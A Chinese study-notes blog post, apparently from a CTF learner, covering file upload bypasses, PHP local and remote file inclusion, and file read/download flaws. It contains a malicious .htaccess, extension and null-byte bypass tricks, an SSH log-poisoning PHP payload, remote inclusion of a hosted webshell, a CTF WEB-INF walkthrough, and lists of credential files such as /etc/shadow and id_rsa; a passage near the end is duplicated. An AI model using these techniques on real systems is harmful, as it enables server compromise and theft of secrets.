WEB 渗透之文件类操作

每周学习总结

文件类

文件上传

1. 描述

文件上传漏洞是指由于程序员对于上传的文件没有进行严格的验证和过滤导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件本质是上传一个文件由我们进行调用

2. 产生原因

文件上传还是归根结底是客户端的 POST 请求,消息主体就是一些上传信息,前端上传页面需要执行 enctype 为 multipart/form-data 或者 Multipart/form-data 才能正常上传文件。

3. 文件上传的攻击方法

常见的攻击点: 头像上传、修改上传、文件编辑中间件上传,图片上传、媒体上传、通过抓包上传恶意文件进行测试

4. 文件上传思路

1. 前端 JS 的验证

绕过思路:

  1. 删除页面的 JS 代码
  2. 使用 Burp 禁用所有的 JS 代码

5. MIME 类型验证

在代码中通过对返回的文件类型进行验证。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uyDCpBuu-1659343780657)(https://typora-1311404666.cos.ap-beijing.myqcloud.com/img/20220801111851.png)]

对发送的数据进行抓包,修改其中的 Content-Type 类型即可绕过, 所有的 MIME 类型:

  • 超文本标记语言文本: .html text/html
  • XML 文档 : .xml text/xml
  • XHTML文档 .xhtml application/xhtml+xml
  • 普通文本 .txt text/plain
  • RTF文本 .rtf application/rtf
  • PDF文档 .pdf application/pdf
  • Microsoft Word文件 .word application/msword
  • PNG图像 .png image/png
  • GIF图形 .gif image/gif
  • JPEG图形 .jpeg,.jpg image/jpeg

在 PHP 中关于 $_FILES 的使用:

  • $_FILES[‘myFile’][‘name’] 表示文件的名称
  • $_FILES[‘myFile’][‘type’] 表示文件的 MIME 类型
  • $_FILES[‘myFile’][‘size’] 已上传文件的大小(单位:字节)
  • $_FILES[‘myFile’][‘tmp_name’] 储存的临时文件名,一般是系统默认
  • $_FILES[‘myFile’][‘error’] 该文件上传相关的错误代码,PHP4.2版本后增加的

6. 黑名单

1. 特定解析后缀

规定上传文件的后缀,我们可以更改后缀进行注入,使用脚本的其他扩展名:

  • PHP : php/php5/pht/phtml/shtml/pwml/phtm
  • ASP : asa/asax/cer/cdx/aspx/ascx/ashx/asmx/asp{80-90}
  • JSP :jspx/jspf/jspa/jsw/jsv/jtml
2. .htaccess 解析

利用思路: 使用中间件的一些特殊文件,将其他的一些文件解析为特定文件,比如 将 1.png 解析为 1.php

.htaccess 文件是 Apache 服务器下的一个配置文件,其主要负责相关目录下的网页配置,即: 一个特定的文档目录中放置一个包含一个或多个指令的文件来对网页进行配置。不过需要注意的是,.htaccess文件的作用域为其所在目录与其所有的子目录,不过若是子目录也存在.htaccess文件,则会覆盖父目录的.htaccess效果。

实例:

​ 上传的 .hatccess 文件:

<FilesMatch "1.png">  
	SetHandler application/x-httpd-php
</FilesMatch>

目的: 将 1.png 文件解析为 php 文件执行

3. 大小写转换

对于上传的文件后缀进行大小写混用

4. 空格绕过

服务器接收到文件名后,没有对文件的名称进行首尾去空,造成了文件后缀匹配失误,所以我们上传的文件名为 1.php (PHP 后有一个空格)

5. 点绕过

这个漏洞原理是,服务器仅仅通过 “ . ” 来获取所上传文件的名称

实例:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');// 获取文件名称 . 之后的字符 
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

对于代码中的 $file_ext = strrchr($file_name, ‘.’);

  • 如果上传的文件名称为 1.php 那 file_ext 对应的内容为 php
  • 如果上传的文件名称为 1.php. 那么 file_ext 对应的内容为 Null
6. ::$$DATA 绕过

对于 ::$$DATA 介绍: 当php在 windows 环境的时候,如果文件名+ “::$$DATA" 会把 “::$$DATA” 之后的数据当成文件流处理,不会检测后缀名.且保持"::$$DATA"之前的文件名

7. 配合解析漏洞

过关思路与点绕过类似,主要原因是对于 文件后缀名中的 " . " 只进行了一次过滤

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点  只进行了一次
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

我们可以将上传的文件名后缀改为 1.php. . (两个点之间有空格分割)

8. 双后缀名绕过

对于所上传的文件名后缀只进行了一次过滤,所有我们可以将后缀进行双写绕过

eg: 1.phpphp

9. %00 截断
  • 0x00,%00这两类截断都是属于同种原理,%00在 url 解码后为空字符,0X00 即16进制的00。在解析后这两个内容都会被当做chr(0)来处理。
  • chr()函数的作用:返回括号中的参数所代表的字符。
  • chr(0)代表的含义是返回ASCII码中0代表的字符,也就是NULL。
  • 当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。而当传参方式为GET则需要使用%00,因为GET传参时url会自动编码,转移为空字符;而POST型传参 时则不会进行自动编码,所以需要使用 0x00 进行截断。
  • 使用前提: php < php5.3 magic_quotes_gpc=Off,否则%00这种空字符会被转义为\0
  1. GET 类型
    img
  2. POST 类型
    img
10. 二次渲染
  1. 上传到服务器的文件会在上传完成后进行重命名,因此要在重命名之前进行不断的访问,使得图片一直被访问,进而使得重命名无法进行
  2. 推荐文章: upload-labs 之pass 16 详细分析
11. move_uploaded_file
  1. 这个函数的特点是上传时会忽略 /. ,也就是说可以通过这一点更改文件后缀名,进行黑名单绕过。

    如’phpinfo.php’改写为’phpinfo.php/.'即可绕过。

12. Magic 检测绕过

有的站点需要检测文件类型,这种检查可以在 Shell 前加入对应的字节以绕过检查,几种常见的文件类型的头字节如下:

类型二进制值
JPGFF D8 FF E0 00 10 4A 46 49 46
GIF47 49 46 38 39 61
PNG89 50 4E 47
TIF49 49 2A 00
BMP42 4D
13. 系统命名绕过

在Windows系统中,上传 index.php. 会重命名为 . ,可以绕过后缀检查。 也可尝试 index.php%20index.php:1.jpg index.php::$DATA 等。 在Linux系统中,可以尝试上传名为 index.php/../aa/../index.php/. 的文件

绕过思路

  1. 有时候可以通过之前给出的替换不常见的但可达到相同解析效果的文件名
  2. 制造一些“垃圾数据”,可以降低waf的检测
  3. 例如早期的安全狗就可以通过多加几个filename绕过
  4. (看到有人说有些waf会检测是否为POST,如果为POST则会校验数据包内容,这里更改POST为GET)
  5. 删除Conten-Type字段
  6. 删除Content-Disposition字段里的空格
  7. 修改Content-Disposition字段值的大小写
  8. (文件名处回车)

参考文章

文件上传

对文件上传的一些思考和总结

尽可能详细的文件上传讲解


文件包含

1. 介绍

  1. 定义: 文件包含是指服务器执行一个文件时,通过文件包含来加载另一个文件中的代码进行执行,本质是由服务器自己调用

2. 产生原因

通过引入文件时,用户可控,没有严格的进行校验,或是被绕过,操作了一些敏感文件,导致文件的泄露或代码的注入

举例:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

在本例中 filename 完全由用户控制,其值直接被带入到 include 函数中,使得可以修改 filename 的值进行操作

3. 相关函数

image-20220801142548994

4. 漏洞利用

文件包含分为两种,本地文件包含、远程文件包含

1. 本地文件包含
没有限制
<?php
    if(isset($_GET['file'])){
        $file = $_GET['file'];
        include($file);  #  直接带入 include  函数
    }else{
        highlight_file(__FILE__);
    }
?>

因为没有任何的限制,所以可以通过目录遍历漏洞来获取到系统中的其他内容

利用:
在本地创建 1.php 文件,同时创建一个文件内容为 <?php phpinfo();?> 在浏览器进行访问 http:localhost/1.php?file=1.txt 展现的效果就是 phpinfo 执行效果

常见文件读取路径:

/etc/apache2/*
#Apache配置文件,可以获知Web目录、服务端口等信息
/etc/nginx/*
#Nginx配置文件,可以获知Web目录、服务端口等信息
/etc/crontab
#定时任务文件
/etc/environment
#环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况
/etc/hostname
#主机名
/etc/hosts
#主机名查询静态表,包含指定域名解析IP的成对信息。通过这个文件,可以探测网卡信息和内网IP/域名
/etc/issue
#系统版本信息
/etc/mysql/*
#MYSQL配置文件
/etc/php/*
#PHP配置文件
/proc 目录
#/proc目录通常存储着进程动态运行的各种信息,本质上是一种虚拟目录,如果查看非当前进程的信息,pid是可以进行暴力破解的,如果要查看当前进程,只需/proc/self代替/proc/[pid]即可
/proc/[pid]/cmdline
#cmdline可读出比较敏感的信息
# ssh日志,攻击方法:
ssh `<?php phpinfo(); ?>`@192.168.1.1
/var/log/auth.log
# apache日志
/var/log/apache2/[access.log|error.log]
限制包含文件的后缀名
<?php
    if(isset($_GET['file'])){
        $file = $_GET['file'];
        include($file . ".html");  #  文件的后缀为 .html
    }else{
        highlight_file(__FILE__);
    }
?>

绕过方法:

  1. 00 截断使用前提: PHP < 5.3.4 magic_quotes_gpc=OFF
    http://localhost/1.php?file=1.txt%00
  2. 长度截断 使用前提:PHP 版本 <= 5.2.?
    利用思路: PHP 对于目录字符串存在长度限制, windows 下目录的最大长度为 256 字节,Linux 下目录最大长度为 4096 字节,超出部分会被丢弃掉,所以可以利用垃圾数据的思想:
    http://127.0.0.1/1.php?file=1.txt……………………………………………………………………………
zip/phar 协议
<?php
    if(isset($_GET['file'])){
        $file = $_GET['file'];
        include($file . ".php");  # 包含的文件后缀为 php
    }else{
        highlight_file(__FILE__);
    }
?>
  • zip://文件路径/zip文件名称#压缩包内的文件名称 (使用时注意将#号进行URL编码)
  • phar://文件路径/phar文件名称/phar内的文件名称
  • phar://协议与zip://类似,同样可以访问zip格式压缩包内容
session 文件包含

前提条件:PHP版本>5.4.0 配置项:session.upload_process.enabled 的值为 On

参考文章链接: 文件包含骚姿势–利用 session.upload_progress 进行文件包含

对于其中一些知识点的解释:

php.ini 的默认选项:

session.upload_progress.enabled = on  #表示upload_progress功能开始,即当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中

session.upload_progress.cleanup = on   #表示当文件上传结束后,php将会立即清空对应session文件中的内容

session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"     #表示为session中的键名

session.use_strict_mode=off     #表示对Cookie中sessionid可控

对于最后两个选项的解释:

// PHPSESSION = Sn0w
<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

在session.upload_progress.name=‘PHP_SESSION_UPLOAD_PROGRESS’ 的条件下,上传文件,便会在session[‘upload_progress_123’]中储存一些本次上传相关的信息,储存在/tmp/sess_Sn0w:
image-20220801145741846

通过上图和几个默认选项的有关介绍就想是否可以利用 session.upload_progress 来写入恶意语句,然后进行包含文件,但前提是需要知道session的存储位置

  1. php 中 session 存储机制:
    PHP 中的 session 内容是以文件的形式进行存储的,存储的方式是由配置项 session.save_handler 来进行确定的,默认便是以文件的形式进行存储,存储的文件的名字是 sess_sessionid 来进行命名的,文件的内容便是以 session 的值序列化之后的内容,至于存储路径便是由配置项 session.save_path 来进行决定的

  2. 一般来说 session 存储路径为:

  • Linux: /tmp 或者 /var/lib/php/session

  • Windows: C;\\WINDOWS\Temp

  1. 如何创建 session 文件:
    如果配置项 session.auto_start=On 是打开的,那么 PHP 在接受请求的时候便会自动化 Session , 不在需要执行函数,但默认关闭,在 session 还有一个默认选项,session.use_strict_mode 默认值为 0,用户卡伊自己定义 SessionID:
Cookie中设置:
PHPSESSID=Sn0w
PHP便会在服务器上创建一个文件(默认路径)
/tmp/sess_Sn0w

即使此时用户没有初始化 Session,PHP 也会自动初始化 Session,并产生一个键值,这个键值有 ini.get(“session.upload_process.prefix”) + 由我们构造的 session.upload_progress.name 值组成,最后被写入 sess_ 文件中

  1. 但是还有一个问题没有解决,即使是写入了默认配置 session.upload_process.cleanup = On ,导致文件上传后, session 文件内容会立即被清空,所以这里需要去使用多线程同时进行写和读,进行条件竞争,在 session 文件被清除前进行包含利用。
2. 远程文件包含

使用前提:

  • allow_url_fopen = On 是否允许打开远程文件
  • allow_url_include = On 是否允许 include/require 远程文件
  1. 无任何限制:

    代码没有任何限制,直接在公网上存放恶意 WEBSHELL 即可,然后通过包含即可执行恶意 payload

     ==`?filename=http://xxxx/php.txt`==
    
  2. 限制包含文件的后缀名:
    例如:

    <?php include($_GET['filename'] . ".no"); ?>
    
    • ? 绕过

      ?filename=http://xxxx/php.txt?
      
    • # 绕过

      ?filename=http://xxxx/php.txt%23
      

参考文章

从浅入深学习 PHP 文件包含


文件读取和下载

显示源代码就是文件读取漏洞

提示文件下载就是文件下载漏洞

1. 文件下载

举例:
http://ee5bcaf5-6fbd-4ace-b6a6-220e7ef95de8.node4.buuoj.cn:81/Download?filename=help.docx

在链接中存在 firename 以及 Download 表示这是一个文件下载漏洞,访问链接后返回:
image-20220801153300653

说明这是 Java 程序,从而从 JavaWeb 方面开始考虑, 修改提交方式读取 WEB 配置文件 WEB-INF/web.xml

,然后就会下载对应的文件,在下载的文件中存在:

<servlet>
    <servlet-name>FlagController</servlet-name>
    <servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>FlagController</servlet-name>
    <url-pattern>/Flag</url-pattern>
</servlet-mapping>
结合所学知识,推断出 Flag 存在的文件位置为 WEB-INF/classes/com/wm/ctf/FlagController.class 中 ,进行访问后就可以找到 Flag 

2. 文件读取–敏感文件

  1. Windows:

       C:\boot.ini  //查看系统版本
       C:\Windows\System32\inetsrv\MetaBase.xml  //IIS配置文件
       C:\Windows\repair\sam  //存储系统初次安装的密码
       C:\Program Files\mysql\my.ini  //Mysql配置
       C:\Program Files\mysql\data\mysql\user.MYD  //Mysql root
       C:\Windows\php.ini  //php配置信息
       C:\Windows\my.ini  //Mysql配置信息
       ...
    
  2. Linux:

    /root/.ssh/authorized_keys
    /root/.ssh/id_rsa
    /root/.ssh/id_ras.keystore
    /root/.ssh/known_hosts
    /etc/passwd
    /etc/shadow
    /etc/my.cnf
    /etc/httpd/conf/httpd.conf
    /root/.bash_history
    /root/.mysql_history
    /proc/self/fd/fd[0-9]*(文件标识符)
    /proc/mounts
    /porc/config.gz
    
  3. 用户目录下的敏感文件

    .bash_history
    .zsh_history
    .profile
    .bashrc
    .gitconfig
    .viminfo
    passwd
    
  4. 应用的配置文件

    /etc/apache2/apache2.conf
    /etc/nginx/nginx.conf
    
  5. 应用的日志文件

    /var/log/apache2/access.log
    /var/log/nginx/access.log
    
  6. 站点目录下的敏感文件

    .svn/entries
    .git/HEAD
    WEB-INF/web.xml
    .htaccess
    
  7. 特殊的备份文件

    .swp
    .swo
    .bak
    index.php~
    ...
    

文件包含和文件上传的配合

一般这种题目的共同点是: 无法直接上传 shell ,只能上传图片,存在文件包含

累了,先放原文吧,明天或者后台再补,文章链接

file_put_content 与死亡/杂糅代码

看不懂,贴链接把,后续看会了在进行补

文章链接

ml
.htaccess
```

  1. 特殊的备份文件
    .swp
    .swo
    .bak
    index.php~
    ...
    

文件包含和文件上传的配合

一般这种题目的共同点是: 无法直接上传 shell ,只能上传图片,存在文件包含

累了,先放原文吧,明天或者后台再补,文章链接

file_put_content 与死亡/杂糅代码

看不懂,贴链接把,后续看会了在进行补

文章链接

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值